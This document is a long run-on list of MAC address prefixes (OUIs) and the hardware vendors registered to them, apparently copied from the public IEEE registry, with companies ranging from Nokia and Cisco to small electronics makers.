Shenzhen TATFOOK Technology Co., Ltd. 44184F Fitview 8C76C1 Goden Tech Limited DC2A14 Shanghai Longjing Technology Co. 0C191F Inform Electronik 080FFA KSP INC. ECFC55 A. Eberle GmbH & Co. KG 0C8CDC Suunto Oy 20B5C6 Mimosa Networks AC3CB4 Nilan A/S 8007A2 Esson Technology Inc. 2C3557 ELLIY Power CO..Ltd 6C5A34 Shenzhen Haitianxiong Electronic Co., Ltd. 485A3F WISOL 70F1E5 Xetawave LLC C0AA68 OSASI Technos Inc. B829F7 Blaster Tech 00C14F DDL Co,.ltd. 5CE0CA FeiTian United (Beijing) System Technology Co., Ltd. 9C9811 Guangzhou Sunrise Electronics Development Co., Ltd A0FE91 AVAT Automation GmbH 5809E5 Kivic Inc. 74ECF1 Acumen 6815D3 Zaklady Elektroniki i Mechaniki Precyzyjnej R&G S.A. 601929 VOLTRONIC POWER TECHNOLOGY(SHENZHEN) CORP. C0BD42 ZPA Smart Energy a.s. 48B253 Marketaxess Corporation 60D2B9 REALAND BIO CO., LTD. 2067B1 Pluto inc. 087D21 Altasec technology corporation 30FD11 MACROTECH (USA) INC. F8051C DRS Imaging and Targeting Solutions 6032F0 Mplus technology 749975 IBM Corporation 0CDCCC Inala Technologies F0ACA4 HBC-radiomatic 14DB85 S NET MEDIA D493A0 Fidelix Oy AC7236 Lexking Technology Co., Ltd. CCB3F8 FUJITSU ISOTEC LIMITED 3CD7DA SK Mtek microelectronics(shenzhen)limited E86D54 Digit Mobile Inc 9857D3 HON HAI-CCPBGPRECISION IND.CO.,LTD. 9C8D1A INTEG process group inc 742D0A Norfolk Elektronik AG 480362 DESAY ELECTRONICS(HUIZHOU)CO.,LTD B0358D Nokia Corporation 0CF361 Java Information 34BDFA Cisco SPVTG 8CEEC6 Precepscion Pty. Ltd. ECD950 IRT SA 74273C ChangYang Technology (Nanjing) Co., LTD 087CBE Quintic Corp. C4AD21 MEDIAEDGE Corporation DCBF90 HUIZHOU QIAOXING TELECOMMUNICATION INDUSTRY CO.,LTD. E0F5CA CHENG UEI PRECISION INDUSTRY CO.,LTD. 1C5C60 Shenzhen Belzon Technology Co.,LTD. 2CEDEB Alpheus Digital Company Limited 381C4A SIMCom Wireless Solutions Co.,Ltd. 901EDD GREAT COMPUTER CORPORATION 2C6289 Regenersis (Glenrothes) Ltd F093C5 Garland Technology 4C09B4 zte corporation B8B94E Shenzhen iBaby Labs, Inc. 00F403 Orbis Systems Oy ACC698 Kohzu Precision Co., Ltd. 907025 Garea Microsys Co.,Ltd. 502ECE Asahi Electronics Co.,Ltd 440CFD NetMan Co., Ltd. 7CEBEA ASCT 085B0E Fortinet, Inc. 64C944 LARK Technologies, Inc 6869F2 ComAp s.r.o. B889CA ILJIN ELECTRIC Co., Ltd. B85AFE Handaer Communication Technology (Beijing) Co., Ltd 604616 XIAMEN VANN INTELLIGENT CO., LTD ECD925 RAMI 049F06 Smobile Co., Ltd. D806D1 Honeywell Fire System (Shanghai) Co,. Ltd. 8C6AE4 Viogem Limited 20C1AF i Wit Digital Co., Limited D88A3B UNIT-EM BCD940 ASR Co,.Ltd. EC4993 Qihan Technology Co., Ltd B0ACFA FUJITSU LIMITED 1C959F Veethree Electronics And Marine LLC 18D949 Qvis Labs, LLC 646223 Cellient Co., Ltd. ACF0B2 Becker Electronics Taiwan Ltd. 10A932 Beijing Cyber Cloud Technology Co. ,Ltd. C47BA3 NAVIS Inc. A81758 Elektronik System i Umeå AB 44348F MXT INDUSTRIAL LTDA 9C0111 Shenzhen Newabel Electronic Co., Ltd. 0CA138 Blinq Wireless Inc. 348137 UNICARD SA 64F242 Gerdes Aktiengesellschaft 60F281 TRANWO TECHNOLOGY CO., LTD. 642400 Xorcom Ltd. 4CAA16 AzureWave Technologies (Shanghai) Inc. 1C6BCA Mitsunami Co., Ltd. 08379C Topaz Co. LTD. E83EFB GEODESIC LTD. 4016FA EKM Metering 3C363D Nokia Corporation BC0200 Stewart Audio 1C973D PRICOM Design F00786 Shandong Bittel Electronics Co., Ltd 885C47 Alcatel Lucent E0F9BE Cloudena Corp. 3CC1F6 Melange Systems Pvt. Ltd. 54E63F ShenZhen LingKeWeiEr Technology Co., Ltd. F88C1C KAISHUN ELECTRONIC TECHNOLOGY CO., LTD. BEIJING 940149 AutoHotBox C035BD Velocytech Aps F897CF DAESHIN-INFORMATION TECHNOLOGY CO., LTD. 383F10 DBL Technology Ltd. 8C6878 Nortek-AS 8016B7 Brunel University 9C611D Omni-ID USA, Inc. 78BEBD STULZ GmbH 3C9174 ALONG COMMUNICATION TECHNOLOGY E8D0FA MKS Instruments Deutschland GmbH 98262A Applied Research Associates, Inc B0D2F5 Vello Systems, Inc. C89F42 VDII Innovation AB A41875 Cisco Systems, Inc 640E94 Pluribus Networks, Inc. 6CE983 Gastron Co., LTD. 0CB4EF Digience Co.,Ltd. D0DB32 Nokia Corporation 609084 DSSD Inc A4E731 Nokia Corporation 0808EA AMSC C05E79 SHENZHEN HUAXUN ARK TECHNOLOGIES CO.,LTD A4934C Cisco Systems, Inc E85484 NEO Information Systems Co., Ltd. 74AE76 iNovo Broadband, Inc. 60B933 Deutron Electronics Corp. 38EE9D Anedo Ltd. 80CEB1 Theissen Training Systems GmbH 3C3888 ConnectQuest, llc 08BE09 Astrol Electronic AG D8B8F6 Nantworks 6044F5 Easy Digital Ltd. AC51EE Cambridge Communication Systems Ltd 10E4AF APR, LLC B0BD6D Echostreams Innovative Solutions F0D14F LINEAR LLC AC3D75 HANGZHOU ZHIWAY TECHNOLOGIES CO.,LTD. 141A51 Treetech Sistemas Digitais 845787 DVR C&C Co., Ltd. F436E1 Abilis Systems SARL 587FC8 S2M C49805 Minieum Networks, Inc 90F4C1 Rand McNally 18193F Tamtron Oy F8F7FF SYN-TECH SYSTEMS INC F473CA Conversion Sound Inc. 00E8AB Meggitt Training Systems, Inc. 18421D Private C401B1 SeekTech INC 1C5FFF Beijing Ereneben Information Technology Co.,Ltd Shenzhen Branch C0C946 MITSUYA LABORATORIES INC. ACC2EC CLT INT'L IND. CORP. 702F4B PolyVision Inc. 741489 SRT Wireless 94CA0F Honeywell Analytics 848D84 Rajant Corporation D8337F Office FA.com Co.,Ltd. 7CEF8A Inhon International Ltd. 84AF1F Beat System Service Co,. Ltd. 100D2F Online Security Pty. Ltd. 408B07 Actiontec Electronics, Inc 980284 Theobroma Systems GmbH E03C5B SHENZHEN JIAXINJIE ELECTRON CO.,LTD 645563 Intelight Inc. C467B5 Libratone A/S A4EF52 Telewave Co., Ltd. F4044C ValenceTech Limited 1CBBA8 OJSC Ufimskiy Zavod Promsvyaz 506028 Xirrus Inc. 24B657 Cisco Systems, Inc 940B2D NetView Technologies(Shenzhen) Co., Ltd 306E5C Validus Technologies E843B6 QNAP Systems, Inc. 5CC9D3 PALLADIUM ENERGY ELETRONICA DA AMAZONIA LTDA 407B1B Mettle Networks Inc. 64E161 DEP Corp. C8A620 Nebula, Inc 989080 Linkpower Network System Inc Ltd. 0064A6 Maquet CardioVascular 3C4E47 Etronic A/S C8F9F9 Cisco Systems, Inc F0F755 Cisco Systems, Inc B01C91 Elim Co 0CA2F4 Chameleon Technology (UK) Limited 846AED Wireless Tsukamoto.,co.LTD D8E952 KEOPSYS 3CB9A6 Belden Deutschland GmbH 3440B5 IBM 90D74F Bookeen 905682 Lenbrook Industries Limited CC6DEF TJK Tietolaite Oy 3CE624 LG Display D8F0F2 Zeebo Inc B0CF4D MI-Zone Technology Ireland 143605 Nokia Corporation B87424 Viessmann Elektronik GmbH C81AFE DLOGIC GmbH 9C53CD ENGICAM s.r.l. DCC101 SOLiD Technologies, Inc. AC6FBB TATUNG Technology Inc. 1803FA IBT Interfaces 608645 Avery Weigh-Tronix, LLC 541DFB Freestyle Energy Ltd 9CF67D Ricardo Prague, s.r.o. A0E201 AVTrace Ltd.(China) 04EE91 x-fabric GmbH 183825 Wuhan Lingjiu High-tech Co.,Ltd. 5404A6 ASUSTek COMPUTER INC. F83376 Good Mind Innovation Co., Ltd. C46044 Everex Electronics Limited 645422 Equinox Payments D412BB Quadrant Components Inc. Ltd 40E793 Shenzhen Siviton Technology Co.,Ltd 2C67FB ShenZhen Zhengjili Electronics Co., LTD D89760 C2 Development, Inc. 1CB17F NEC Platforms, Ltd. 942E17 Schneider Electric Canada Inc B89674 AllDSP GmbH & Co. KG 6CA682 EDAM information & communications 48A22D Shenzhen Huaxuchang Telecom Technology Co.,Ltd 50ED94 EGATEL SL B87447 Convergence Technologies 70A66A Prox Dynamics AS DC175A Hitachi High-Technologies Corporation 5C076F Thought Creator 3C0FC1 KBC Networks 58E636 EVRsafe Technologies 90D11B Palomar Medical Technologies CC60BB Empower RF Systems 24497B Innovative Converged Devices Inc ECBD09 FUSION Electronics Ltd 54847B Digital Devices GmbH 705CAD Konami Gaming Inc 788973 CMC DCCE41 FE GLOBAL HONG KONG LIMITED 4C774F Embedded Wireless Labs 203706 Cisco Systems, Inc 7C4C58 Scale Computing, Inc. FCC23D Atmel Corporation 7C1E52 Microsoft DCB4C4 Microsoft XCG 74FDA0 Compupal (Group) Corporation C029F3 XySystem 48F317 Private B07D62 Dipl.-Ing. H. Horstmann GmbH 68974B Shenzhen Costar Electronics Co. Ltd. B8BB6D ENERES Co.,Ltd. 645DD7 Shenzhen Lifesense Medical Electronics Co., Ltd. D45AB2 Galleon Systems C40142 MaxMedia Technology Limited A06E50 Nanotek Elektronik Sistemler Ltd. Sti. 182C91 Concept Development, Inc. EC4670 Meinberg Funkuhren GmbH & Co. KG B40B7A Brusa Elektronik AG BC764E Rackspace US, Inc. C4EEAE VSS Monitoring 2437EF EMC Electronic Media Communication SA D4F63F IEA S.R.L. 4C0289 LEX COMPUTECH CO., LTD E435FB Sabre Technology (Hull) Ltd 00CD90 MAS Elektronik AG A8BD1A Honey Bee (Hong Kong) Limited ACCC8E Axis Communications AB 187C81 Valeo Vision Systems DC1EA3 Accensus LLC A40130 ABIsystems Co., LTD 68F125 Data Controls Inc. 706F81 Private 30E4DB Cisco Systems, Inc 742B0F Infinidat Ltd. 280CB8 Mikrosay Yazilim ve Elektronik A.S. A06CEC RIM 443EB2 DEOTRON Co., LTD. 8CB82C IPitomy Communications 807DE3 Chongqing Sichuan Instrument Microcircuit Co.LTD. 1C8E8E DB Communication & Systems Co., ltd. F0022B Chrontel 007F28 Actiontec Electronics, Inc 0C924E Rice Lake Weighing Systems 40040C A&T A0165C Triteka LTD 90B97D Johnson Outdoors Marine Electronics d/b/a Minnkota 8821E3 Nebusens, S.L. B0F1BC Dhemax Ingenieros Ltda 3C096D Powerhouse Dynamics CC501C KVH Industries, Inc. AC6FD9 Valueplus Inc. A4E391 DENY FONTAINE 04A82A Nokia Corporation 48D8FE ClarIDy Solutions, Inc. 70B265 Hiltron s.r.l. 84D9C8 Unipattern Co., 1C955D I-LAX ELECTRONICS INC. 94AAB8 Joview(Beijing) Technology Co. Ltd. 18B3BA Netlogic AB F43E9D Benu Networks, Inc. 6469BC Hytera Communications Co .,ltd 64094C Beijing Superbee Wireless Technology Co.,Ltd F0AE51 Xi3 Corp 782EEF Nokia Corporation 78510C LiveU Ltd. 306118 Paradom Inc. C84529 IMK Networks Co.,Ltd A88CEE MicroMade Galka i Drozdz sp.j. 204005 feno GmbH 6C81FE Mitsuba Corporation E8F928 RFTECH SRL 703AD8 Shenzhen Afoundry Electronic Co., Ltd 4C98EF Zeo DCA6BD Beijing Lanbo Technology Co., Ltd. 58E808 AUTONICS CORPORATION 8058C5 NovaTec Kommunikationstechnik GmbH C0EAE4 Sonicwall F8A9DE PUISSANCE PLUS D4F027 Navetas Energy Management 5C0CBB CELIZION Inc. B8871E Good Mind Industries Co., Ltd. F8EA0A Dipl.-Math. Michael Rauch BC5FF4 ASRock Incorporation A4B36A JSC SDO Chromatec 905F8D modas GmbH E0C922 Jireh Energy Tech., Ltd. 28401A C8 MediSensors, Inc. DC3C84 Ticom Geomatics, Inc. E8CC32 MicronetLTD 9C6ABE QEES ApS. 3429EA MCD ELECTRONICS SP. Z O.O. D43AE9 DONGGUAN ipt INDUSTRIAL CO., LTD ACC935 Ness Corporation 7C4A82 Portsmith LLC 2C0033 EControls, LLC E0F211 Digitalwatt 0432F4 Partron AC199F SUNGROW POWER SUPPLY CO.,LTD. 1CAA07 Cisco Systems, Inc 308CFB Dropcam CCF841 Lumewave 701404 Limited Liability Company 1C35F1 NEW Lift Neue Elektronische Wege Steuerungsbau GmbH CCD9E9 SCR Engineers Ltd. F0DB30 Yottabyte 9C31B6 Kulite Semiconductor Products Inc 5C6A7D KENTKART EGE ELEKTRONIK SAN. VE TIC. LTD. STI. 04FF51 NOVAMEDIA INNOVISION SP. Z O.O. FCD4F2 The Coca Cola Company C471FE Cisco Systems, Inc 340804 D-Link Corporation B44CC2 NR ELECTRIC CO., LTD 084EBF Broad Net Mux Corporation 48CB6E Cello Electronics (UK) Ltd EC3BF0 NovelSat A86A6F RIM 4022ED Digital Projection Ltd 0817F4 IBM Corp C4D489 JiangSu Joyque Information Industry Co.,Ltd 1C7C11 EID B0B32B Slican Sp. z o.o. 5842E4 Baxter International Inc 8CA048 Beijing NeTopChip Technology Co.,LTD 804F58 ThinkEco, Inc. B06563 Shanghai Railway Communication Factory 349A0D ZBD Displays Ltd A0B5DA HongKong THTF Co., Ltd CCCD64 SM-Electronic GmbH E82877 TMY Co., Ltd. AC8112 Gemtek Technology Co., Ltd. 6CA906 Telefield Ltd 3C02B1 Creation Technologies LP E46C21 messMa GmbH 0470BC Globalstar Inc. E05FB9 Cisco Systems, Inc 081735 Cisco Systems, Inc 20FECD System In Frontier Inc. 94D019 Cydle Corp. 2CA157 acromate, Inc. 70DDA1 Tellabs 30EB25 INTEK DIGITAL BC3E13 Accordance Systems Inc. 0455CA BriView (Xiamen) Corp. D45D42 Nokia Corporation BC2846 NextBIT Computing Pvt. Ltd. 4425BB Bamboo Entertainment Corporation B8A8AF Logic S.p.A. 648125 Alphatron Marine BV 042605 GFR Gesellschaft für Regelungstechnik und Energieeinsparung mbH 9C645E Harman Consumer Group 78CD8E SMC Networks Inc 5C9AD8 FUJITSU LIMITED 144C1A Max Communication GmbH BC6E76 Green Energy Options Ltd 108CCF Cisco Systems, Inc 74E06E Ergophone GmbH 18AF9F DIGITRONIC Automationsanlagen GmbH EC4644 TTK SAS DCD87F Shenzhen JoinCyber Telecom Equipment Ltd B08991 LGE 44DCCB SEMINDIA SYSTEMS PVT LTD 90D92C HUG-WITSCHI AG B428F1 E-Prime Co., Ltd. B4749F ASKEY COMPUTER CORP AC2FA8 Humannix Co.,Ltd. 7C4AA8 MindTree Wireless PVT Ltd C8A70A Verizon Business 304EC3 Tianjin Techua Technology Co., Ltd. BC4377 Hang Zhou Huite Technology Co.,ltd. A81B18 XTS CORP 04E2F8 AEP Ticketing solutions srl 8C5105 Shenzhen ireadygo Information Technology CO.,LTD. 28E297 Shanghai InfoTM Microelectronics Co.,Ltd. D093F8 Stonestreet One LLC 1C334D ITS Telecom 609E64 Vivonic GmbH D44F80 Kemper Digital GmbH 34684A Teraworks Co., Ltd. 0CC6AC DAGS D82A7E Nokia Corporation 5CBD9E HONGKONG MIRACLE EAGLE TECHNOLOGY(GROUP) LIMITED 743889 ANNAX Anzeigesysteme GmbH 647FDA TEKTELIC Communications Inc. 90610C Fida International (S) Pte Ltd 3C5F01 Synerchip Co., Ltd. 708B78 citygrow technology co., ltd 74CD0C Smith Myers Communications Ltd. B8EE79 YWire Technologies, Inc. 40C245 Shenzhen Hexicom Technology Co., Ltd. 7076F0 LevelOne Communications (India) Private Limited 48C8B6 SysTec GmbH 9C4563 DIMEP Sistemas E42771 Smartlabs 0876FF Thomson Telecom Belgium 401D59 Biometric Associates, LP 4C2C80 Beijing Skyway Technologies Co.,Ltd 08D29A Proformatique 90D852 Comtec Co., Ltd. 28061E NINGBO GLOBAL USEFUL ELECTRIC CO.,LTD 4037AD Macro Image Technology, Inc. 64E8E6 global moisture management system 34A183 AWare, Inc 588D09 Cisco Systems, Inc 342109 Jensen Scandinavia AS 08FAE0 Fohhn Audio AG 506F9A Wi-Fi Alliance 7CF098 Bee Beans Technologies, Inc. 9C7514 Wildix srl BC7DD1 Radio Data Comms 28068D ITL, LLC F0D767 Axema Passagekontroll AB A4AE9A Maestro Wireless Solutions ltd. 5CD135 Xtreme Power Systems 9C28BF Continental Automotive Czech Republic s.r.o. 206FEC Braemac CA LLC 64A232 OOO Samlight A082C7 P.T.I Co.,LTD F41F0B YAMABISHI Corporation 447C7F Innolight Technology Corporation FC75E6 Handreamnet 20B0F7 Enclustra GmbH 4013D9 Global ES F4DC4D Beijing CCD Digital Technology Co., Ltd F8B599 Guangzhou CHNAVS Digital Technology Co.,Ltd 7C3920 SSOMA SECURITY 9C77AA NADASNV D8B6C1 NetworkAccountant, Inc. 58D08F IEEE 1904.1 Working Group 3C99F7 Lansentechnology AB 94E711 Xirka Dama Persada PT 507D02 BIODIT F44227 S & S Research Inc. D4CBAF Nokia Corporation CC09C8 IMAQLIQ LTD C4B512 General Electric Digital Energy E02538 Titan Pet Products CC7A30 CMAX Wireless Co., Ltd. D8760A Escort, Inc. 6063FD Transcend Communication Beijing Co.,Ltd. E08A7E Exponent 80C6CA Endian s.r.l. F8DAE2 Beta LaserMike E80462 Cisco Systems, Inc 70B08C Shenou Communication Equipment Co.,Ltd F0E5C3 Drägerwerk AG & Co. KG aA 446132 ecobee inc A4B2A7 Adaxys Solutions AG F455E0 Niceway CNC Technology Co.,Ltd.Hunan Province AC4FFC SVS-VISTEK GmbH FC7CE7 FCI USA LLC 145412 Entis Co., Ltd. 807D1B Neosystem Co. Ltd. 14FEAF SAGITTAR LIMITED 7CB542 ACES Technology 40CD3A Z3 Technology 045D56 camtron industrial inc. AC83F0 ImmediaTV Corporation 6CE0B0 SOUND4 00336C SynapSense Corporation E446BD C&C TECHNIC TAIWAN CO., LTD. 7415E2 Tri-Sen Systems Corporation F0BDF1 Sipod Inc. 288915 CashGuard Sverige AB 40618E Stella-Green Co 9C4E20 Cisco Systems, Inc 408493 Clavister AB 1C3A4F AccuSpec Electronics, LLC 58E747 Deltanet AG D87533 Nokia Corporation ECFE7E BlueRadios, Inc. 7C6F06 Caterpillar Trimble Control Technologies 7C7673 ENMAS GmbH 6C6F18 Stereotaxis, Inc. 003532 Electro-Metrics Corporation 44376F Young Electric Sign Co 8C640B Beyond Devices d.o.o. F04335 DVN(Shanghai)Ltd. A479E4 KLINFO Corp 003CC5 WONWOO Engineering Co., Ltd E85E53 Infratec Datentechnik GmbH C848F5 MEDISON Xray Co., Ltd 1C17D3 Cisco Systems, Inc ACBE75 Ufine Technologies Co.,Ltd. D87157 Lenovo Mobile Communication Technology Ltd. 806629 Prescope Technologies CO.,LTD. 90F278 Radius Gateway 68CA00 Octopus Systems Limited 4C3089 Thales Transportation Systems GmbH 0C7D7C Kexiang Information Technology Co, Ltd. 70D880 Upos System sp. z o.o. 0CC9C6 Samwin Hong Kong Limited B45861 CRemote, LLC B8653B Bolymin, Inc. B0973A E-Fuel Corporation A05DC1 TMCT Co., LTD. E0CA4D Shenzhen Unistar Communication Co.,LTD E497F0 Shanghai VLC Technologies Ltd. Co. 204E6B Axxana(israel) ltd 50F003 Open Stack, Inc. 0C17F1 TELECSYS 98BC99 Edeltech Co.,Ltd. E8E1E2 Energotest FC683E Directed Perception, Inc 6C1811 Decatur Electronics 94592D EKE Building Technology Systems Ltd 9CC077 PrintCounts, LLC A85BB0 Shenzhen Dehoo Technology Co.,Ltd 089F97 LEROY AUTOMATION 4C5DCD Oy Finnish Electric Vehicle Technologies Ltd 10090C Janome Sewing Machine Co., Ltd. ECB106 Acuro Networks, Inc 7C2E0D Blackmagic Design 08F6F8 GET Engineering 6CDC6A Promethean Limited 9055AE Ericsson, EAB/RWI/K 2C3A28 Fagor Electrónica 90A7C1 Pakedge Device and Software Inc. 80F593 IRCO Sistemas de Telecomunicación S.A. 6CFDB9 Proware Technologies Co Ltd. 6CFFBE MPB Communications Inc. 583CC6 Omneality Ltd. 0097FF Heimann Sensor GmbH 34BA51 Se-Kure Controls, Inc. 44A8C2 SEWOO TECH CO., LTD 8CD628 Ikor Metering 481BD2 Intron Scientific co., ltd. 009363 Uni-Link Technology Co., Ltd. 64DB18 OpenPattern 580556 Elettronica GF S.r.L. 88B627 Gembird Europe BV D41F0C JAI Oy 3C4C69 Infinity System S.L. 44E49A OMNITRONICS PTY LTD 74F07D BnCOM Co.,Ltd 1065A3 Core Brands LLC 20415A Smarteh d.o.o. 703C39 SEAWING Kft 14A86B ShenZhen Telacom Science&Technology Co., Ltd 0CC3A7 Meritec 4C322D TELEDATA NETWORKS B8B1C7 BT&COM CO.,LTD A0BFA5 CORESYS D411D6 ShotSpotter, Inc. 7CCB0D Antaira Technologies, LLC ECE9F8 Guang Zhou TRI-SUN Electronics TechnologyCo., Ltd 9CAFCA Cisco Systems, Inc 34CE94 Parsec (Pty) Ltd ACE9AA Hay Systems Ltd 082AD0 SRD Innovations Inc. 24828A Prowave Technologies Ltd. 6C0F6A JDC Tech Co., Ltd. 6CF049 GIGA-BYTE TECHNOLOGY CO.,LTD. D4C766 Acentic GmbH 48EB30 ETERNA TECHNOLOGY, INC. 207C8F Quanta Microsystems,Inc. F8472D X2gen Digital Corp. Ltd 8C598B C Technologies AB 64F970 Kenade Electronics Technology Co.,LTD. A04025 Actioncable, Inc. 78998F MEDILINE ITALIA SRL 40ECF8 Siemens AG F04BF2 JTECH Communications, Inc. A8CB95 EAST BEST CO., LTD. C8D1D1 AGAiT Technology Corporation 3CF52C DSPECIALISTS GmbH 040EC2 ViewSonic Mobile China Limited 5403F5 EBN Technology Corp. 7C2F80 Gigaset Communications GmbH 446C24 Reallin Electronic Co.,Ltd A0593A V.D.S. Video Display Systems srl A8F94B Eltex Enterprise Ltd. 906DC8 DLG Automação Industrial Ltda 48343D IEP GmbH C8C13C RuggedTek Hangzhou Co., Ltd 609F9D CloudSwitch 0CE936 ELIMOS srl A4DE50 Total Walther GmbH E8A4C1 Deep Sea Electronics PLC 701AED ADVAS CO., LTD. 64C6AF AXERRA Networks Ltd D8D67E GSK CNC EQUIPMENT CO.,LTD A4E7E4 Connex GmbH AC583B Human Assembler, Inc. A05DE7 DIRECTV, Inc. 10CA81 PRECIA 003A98 Cisco Systems, Inc 705AB6 COMPAL INFORMATION (KUNSHAN) CO., LTD. 003A9A Cisco Systems, Inc ACBEB6 Visualedge Technology Co., Ltd. 40A6A4 PassivSystems Ltd 903D6B Zicon Technology Corp. 7C3BD5 Imago Group B894D2 Retail Innovation HTT AB DCE71C AUG Elektronik GmbH 88A5BD QPCOM INC. DC3350 TechSAT GmbH 00271E Xagyl Communications 002716 Adachi-Syokai Co., Ltd. 002715 Rebound Telecom. Co., Ltd 00270A IEE S.A. 002674 Electronic Solutions, Inc. 00266E Nissho-denki Co.,LTD. 00265B Hitron Technologies. Inc 002661 Irumtek Co., Ltd. 002657 OOO NPP EKRA 00264E Rail & Road Protec GmbH 0025E6 Belgian Monitoring Systems bvba 0025E1 SHANGHAI SEEYOO ELECTRONIC & TECHNOLOGY CO., LTD 0025DB ATI Electronics(Shenzhen) Co., LTD 0025D5 Robonica (Pty) Ltd 0025C9 SHENZHEN HUAPU DIGITAL CO., LTD 0025CE InnerSpace 0025C2 RingBell Co.,Ltd. 0026A0 moblic 00269A Carina System Co., Ltd. 002694 Senscient Ltd 002693 QVidium Technologies, Inc. 00268D CellTel S.p.A. 00268E Alta Solutions, Inc. 002687 corega K.K 002681 Interspiro AB 00267B GSI Helmholtzzentrum für Schwerionenforschung GmbH 0025BB INNERINT Co., Ltd. 0025B6 Telecom FM 0025AF COMFILE Technology 0025AA Beijing Soul Technology Co.,Ltd. 0025A9 Shanghai Embedway Information Technologies Co.,Ltd 0025A3 Trimax Wireless, Inc. 00259C Cisco-Linksys, LLC 002580 Equipson S.A. 00257C Huachentel Technology Development Co., Ltd 002575 FiberPlex Technologies, LLC 002576 NELI TECHNOLOGIES 002570 Eastern Communications Company Limited 002563 Luxtera Inc 002704 Accelerated Concepts, Inc 0026FE MKD Technology Inc. 0026F8 Golden Highway Industry Development Co., Ltd. 0026EB Advanced Spectrum Technology Co., Ltd. 0026E5 AEG Power Solutions 0026DF TaiDoc Technology Corp. 0026D8 Magic Point Inc. 0026D2 Pcube Systems, Inc. 0026C5 Guangdong Gosun Telecommunications Co.,Ltd 0026C0 EnergyHub 0026BF ShenZhen Temobi Science&Tech Development Co.,Ltd 0026B7 Kingston Technology Company, Inc. 0026A6 TRIXELL 00263C Bachmann Technology GmbH & Co. KG 002630 ACOREL S.A.S 002629 Juphoon System Software Inc. 00262A Proxense, LLC 002624 Thomson Inc. 00261D COP SECURITY SYSTEM CORP. 002611 Licera AB 002617 OEM Worldwide 00260A Cisco Systems, Inc 0025FE Pilot Electronics Corporation 002605 CC Systems AB 002604 Audio Processing Technology Ltd 0025F4 KoCo Connector AG 0025EB Reutech Radar Systems (PTY) Ltd 00242A Hittite Microwave Corporation 00241D GIGA-BYTE TECHNOLOGY CO.,LTD. 002417 Thomson Telecom Belgium 002418 Nextwave Semiconductor 002411 PharmaSmart LLC 00240B Virtual Computer Inc. 00240A US Beverage Net 0024B8 free alliance sdn bhd 0024BD Hainzl Industriesysteme GmbH 0024B3 Graf-Syteco GmbH & Co. KG 0024AE Morpho 0024A7 Advanced Video Communications Inc. 0024AC Hangzhou DPtech Technologies Co., Ltd. 00255D Morningstar Corporation 002551 SE-Elektronic GmbH 00254A RingCube Technologies, Inc. 002543 MONEYTECH 002544 LoJack Corporation 002539 IfTA GmbH 00253B din Dietmar Nocker Facilitymanagement GmbH 00250B CENTROFACTORINC 002504 Valiant Communications Limited 0024FD Accedian Networks Inc 0024F8 Technical Solutions Company Ltd. 0024F1 Shenzhen Fanhai Sanjiang Electronics Co., Ltd. 0024EC United Information Technology Co.,Ltd. 00249B Action Star Enterprise Co., Ltd. 002499 Aquila Technologies 002488 Centre For Development Of Telematics 002494 Shenzhen Baoxin Tech CO., Ltd. 00247A FU YI CHENG Technology Co., Ltd. 002475 Compass System(Embedded Dept.) 00246E Phihong USA Corp. 002467 AOC International (Europe) GmbH 002469 Smart Doorphones 002462 Rayzone Corporation 002458 PA Bastion CC 00245D Terberg besturingstechniek B.V. 002455 MuLogic BV 002450 Cisco Systems, Inc 00244B PERCEPTRON INC 00253A CEVA, Ltd. 002531 Cloud Engines, Inc. 00252F Energy, Inc. 00252A Chengdu GeeYa Technology Co.,LTD 002521 Logitek Electronic Systems, Inc. 00251C EDT 002517 Venntis, LLC 002510 Pico-Tesla Magnetic Therapies 0024E5 Seer Technology, Inc 0024E0 DS Tech, LLC 0024DE GLOBAL Technology Inc. 0024D9 BICOM, Inc. 0024CB Autonet Mobile 0024CD Willow Garage, Inc. 0024C6 Hager Electro SAS 00243A Ludl Electronic Products 002434 Lectrosonics, Inc. 00242E Datastrip Inc. 002296 LinoWave Corporation 00228F CNRS 002290 Cisco Systems, Inc 00228A Teratronik elektronische systeme gmbh 00227E Chengdu 30Kaitian Communication Industry Co.Ltd 00227D YE DATA INC. 002278 ShenzhenTongfang MultimediaTechnology Co.,Ltd. 002272 American Micro-Fuel Device Corp. 002271 Jäger Computergesteuerte Meßtechnik GmbH. 00226E Gowell Electronic Limited 002358 SYSTEL SA 002357 Pitronot Technologies and Engineering P.T.E. Ltd. 002352 DATASENSOR S.p.A. 00234B Inyuan Technology Inc. 002346 Vestac 00233F Purechoice Inc 002338 OJ-Electronics A/S 002333 Cisco Systems, Inc 00232F Advanced Card Systems Ltd. 00232A eonas IT-Beratung und -Entwicklung GmbH 0022C1 Active Storage Inc. 0022C2 Proview Eletrônica do Brasil LTDA 0022BC JDSU France SAS 0022B5 NOVITA 0022AF Safety Vision 0022A2 Xtramus Technologies 00229D PYUNG-HWA IND.CO.,LTD 002327 Shouyo Electronics CO., LTD 002323 Zylin AS 00231A ITF Co., Ltd. 002311 Gloscom Co., Ltd. 00230C CLOVER ELECTRONICS CO.,LTD. 002305 Cisco Systems, Inc 0022FF NIVIS LLC 0022FE Advanced Illumination 002300 Cayee Computer Ltd. 0022F6 Syracuse Research Corporation 0022F9 Pollin Electronic GmbH 0023AD Xmark Corporation 0023A7 Redpine Signals, Inc. 0023A1 Trend Electronics Ltd 0023A6 E-Mon 00239A EasyData Hardware GmbH 002394 Samjeon 002390 Algolware Corporation 002386 Tour & Andersson AB 002405 Dilog Nordic AB 0023F5 WILO SE 0023FE Biodevices, SA 0023F0 Shanghai Jinghan Weighing Apparatus Co. Ltd. 0023EB Cisco Systems, Inc 0023E5 IPaXiom Networks 0023E6 Pirkus, Inc. 0023D9 Banner Engineering 0023D3 AirLink WiFi Networking Corp. 0023D8 Ball-It Oy 0023C6 SMC Corporation 0023C0 Broadway Networks 0023B3 Lyyn AB 0022F5 Advanced Realtime Tracking GmbH 0022EF iWDL Technologies 0022E8 Applition Co., Ltd. 0022E3 Amerigon 0022D5 Eaton Corp. Electrical Group Data Center Solutions - Pulizzi 0022DC Vigil Health Solutions Inc. 0022D6 Cypak AB 0022D0 Polar Electro Oy 0022CB IONODES Inc. 0022C6 Sutus Inc 002380 Nanoteq 00237A RIM 002377 Isotek Electronics Ltd 002371 SOAM Systel 00236A SmartRG Inc 00235E Cisco Systems, Inc 00225A Garde Security AB 002254 Bigelow Aerospace 002251 Lumasense Technologies 00224B AIRTECH TECHNOLOGIES, INC. 002245 Leine & Linde AB 002242 Alacron Inc. 00223B Communication Networks, LLC 002146 Sanmina-SCI 00213D Cermetek Microelectronics, Inc. 00213E TomTom 002135 ALCATEL-LUCENT 00213A Winchester Systems Inc. 002130 Keico Hightech Inc. 